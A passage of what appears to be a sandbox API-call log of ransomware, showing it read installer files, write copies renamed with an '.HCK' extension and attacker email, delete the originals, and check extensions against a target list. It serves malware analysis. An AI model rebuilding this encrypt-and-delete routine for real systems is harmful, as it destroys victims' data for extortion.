dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.653] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.653] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.653] GetLastError () returned 0x0 [0148.653] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x318f, lpOverlapped=0x0) returned 1 [0148.654] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x3190, lpOverlapped=0x0) returned 1 [0148.655] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.655] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.656] SetEndOfFile (hFile=0x310) returned 1 [0148.656] CloseHandle (hObject=0x310) returned 1 [0148.658] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.658] SetEndOfFile (hFile=0x2ec) returned 1 [0148.658] CloseHandle (hObject=0x2ec) returned 1 [0148.659] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.659] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0148.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.659] lstrlenW (lpString=".doc") returned 4 [0148.659] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.659] lstrlenW (lpString=".docx") returned 5 [0148.659] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.659] lstrlenW (lpString=".pdf") returned 4 [0148.659] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.659] lstrlenW (lpString=".xls") returned 4 [0148.659] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.659] lstrlenW (lpString=".xlsx") returned 5 [0148.659] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.659] lstrlenW (lpString=".ppt") returned 4 [0148.659] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.659] lstrlenW (lpString=".zip") returned 4 [0148.659] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.659] lstrlenW (lpString=".rar") returned 4 [0148.659] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.659] lstrlenW (lpString=".bz2") returned 4 [0148.659] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.659] lstrlenW (lpString=".7z") returned 3 [0148.659] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.659] lstrlenW (lpString=".dbf") returned 4 [0148.659] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString=".1cd") returned 4 [0148.660] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString=".jpg") returned 4 [0148.660] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString=".doc") returned 4 [0148.660] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString=".docx") returned 5 [0148.660] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.660] lstrlenW (lpString=".pdf") returned 4 [0148.660] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString=".xls") returned 4 [0148.660] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.660] lstrlenW (lpString=".xlsx") returned 5 [0148.660] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.660] lstrlenW (lpString=".ppt") returned 4 [0148.660] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString=".zip") returned 4 [0148.660] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.660] lstrlenW (lpString=".rar") returned 4 [0148.660] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString=".bz2") returned 4 [0148.660] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString=".7z") returned 3 [0148.660] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString=".dbf") returned 4 [0148.660] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString=".1cd") returned 4 [0148.660] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0148.660] lstrlenW (lpString=".jpg") returned 4 [0148.660] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.660] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.660] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.661] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=65238) returned 1 [0148.661] CloseHandle (hObject=0x2ec) returned 1 [0148.661] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0148.661] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.661] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.661] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.661] GetLastError () returned 0x0 [0148.661] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xfed6, lpOverlapped=0x0) returned 1 [0148.664] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xfee0, lpOverlapped=0x0) returned 1 [0148.665] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.665] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.665] SetEndOfFile (hFile=0x310) returned 1 [0148.665] CloseHandle (hObject=0x310) returned 1 [0148.667] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.667] SetEndOfFile (hFile=0x2ec) returned 1 [0148.668] CloseHandle (hObject=0x2ec) returned 1 [0148.668] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.668] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0148.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.668] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.668] lstrlenW (lpString=".doc") returned 4 [0148.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.668] lstrlenW (lpString=".docx") returned 5 [0148.668] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.668] lstrlenW (lpString=".pdf") returned 4 [0148.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.668] lstrlenW (lpString=".xls") returned 4 [0148.669] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".xlsx") returned 5 [0148.669] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.669] lstrlenW (lpString=".ppt") returned 4 [0148.669] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".zip") returned 4 [0148.669] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.669] lstrlenW (lpString=".rar") returned 4 [0148.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".bz2") returned 4 [0148.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".7z") returned 3 [0148.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".dbf") returned 4 [0148.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".1cd") returned 4 [0148.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".jpg") returned 4 [0148.669] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".doc") returned 4 [0148.669] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".docx") returned 5 [0148.669] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.669] lstrlenW (lpString=".pdf") returned 4 [0148.669] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".xls") returned 4 [0148.669] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".xlsx") returned 5 [0148.669] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.669] lstrlenW (lpString=".ppt") returned 4 [0148.669] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".zip") returned 4 [0148.669] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.669] lstrlenW (lpString=".rar") returned 4 [0148.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".bz2") returned 4 [0148.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString=".7z") returned 3 [0148.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".dbf") returned 4 [0148.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".1cd") returned 4 [0148.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.669] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0148.669] lstrlenW (lpString=".jpg") returned 4 [0148.670] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.670] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.670] lstrlenW (lpString="eula.rtf") returned 8 [0148.670] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.670] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3546) returned 1 [0148.670] CloseHandle (hObject=0x2ec) returned 1 [0148.672] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0148.672] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.672] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.672] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.673] GetLastError () returned 0x0 [0148.673] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xdda, lpOverlapped=0x0) returned 1 [0148.674] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xde0, lpOverlapped=0x0) returned 1 [0148.675] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.675] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.675] SetEndOfFile (hFile=0x310) returned 1 [0148.675] CloseHandle (hObject=0x310) returned 1 [0148.676] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.676] SetEndOfFile (hFile=0x2ec) returned 1 [0148.676] CloseHandle (hObject=0x2ec) returned 1 [0148.676] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.677] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0148.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.677] lstrlenW (lpString=".doc") returned 4 [0148.677] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.677] lstrlenW (lpString=".docx") returned 5 [0148.677] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.677] lstrlenW (lpString=".pdf") returned 4 [0148.677] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.677] lstrlenW (lpString=".xls") returned 4 [0148.677] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.677] lstrlenW (lpString=".xlsx") returned 5 [0148.677] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.677] lstrlenW (lpString=".ppt") returned 4 [0148.677] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.677] lstrlenW (lpString=".zip") returned 4 [0148.677] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.677] lstrlenW (lpString=".rar") returned 4 [0148.677] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.677] lstrlenW (lpString=".bz2") returned 4 [0148.677] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.677] lstrlenW (lpString=".7z") returned 3 [0148.677] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.677] lstrlenW (lpString=".dbf") returned 4 [0148.677] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.677] lstrlenW (lpString=".1cd") returned 4 [0148.677] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.677] lstrlenW (lpString=".jpg") returned 4 [0148.677] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.678] lstrlenW (lpString=".doc") returned 4 [0148.678] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString=".docx") returned 5 [0148.678] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.678] lstrlenW (lpString=".pdf") returned 4 [0148.678] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString=".xls") returned 4 [0148.678] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.678] lstrlenW (lpString=".xlsx") returned 5 [0148.678] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.678] lstrlenW (lpString=".ppt") returned 4 [0148.678] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.678] lstrlenW (lpString=".zip") returned 4 [0148.678] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.678] lstrlenW (lpString=".rar") returned 4 [0148.678] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString=".bz2") returned 4 [0148.678] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString=".7z") returned 3 [0148.678] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.678] lstrlenW (lpString=".dbf") returned 4 [0148.678] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.678] lstrlenW (lpString=".1cd") returned 4 [0148.678] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0148.678] lstrlenW (lpString=".jpg") returned 4 [0148.678] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.678] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.678] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.678] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.678] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=79634) returned 1 [0148.678] CloseHandle (hObject=0x2ec) returned 1 [0148.678] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0148.679] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.679] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.679] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.679] GetLastError () returned 0x0 [0148.679] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x13712, lpOverlapped=0x0) returned 1 [0148.682] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x13720, lpOverlapped=0x0) returned 1 [0148.683] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.683] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.683] SetEndOfFile (hFile=0x310) returned 1 [0148.683] CloseHandle (hObject=0x310) returned 1 [0148.685] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.685] SetEndOfFile (hFile=0x2ec) returned 1 [0149.042] CloseHandle (hObject=0x2ec) returned 1 [0149.048] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.061] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0149.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0149.061] lstrlenW 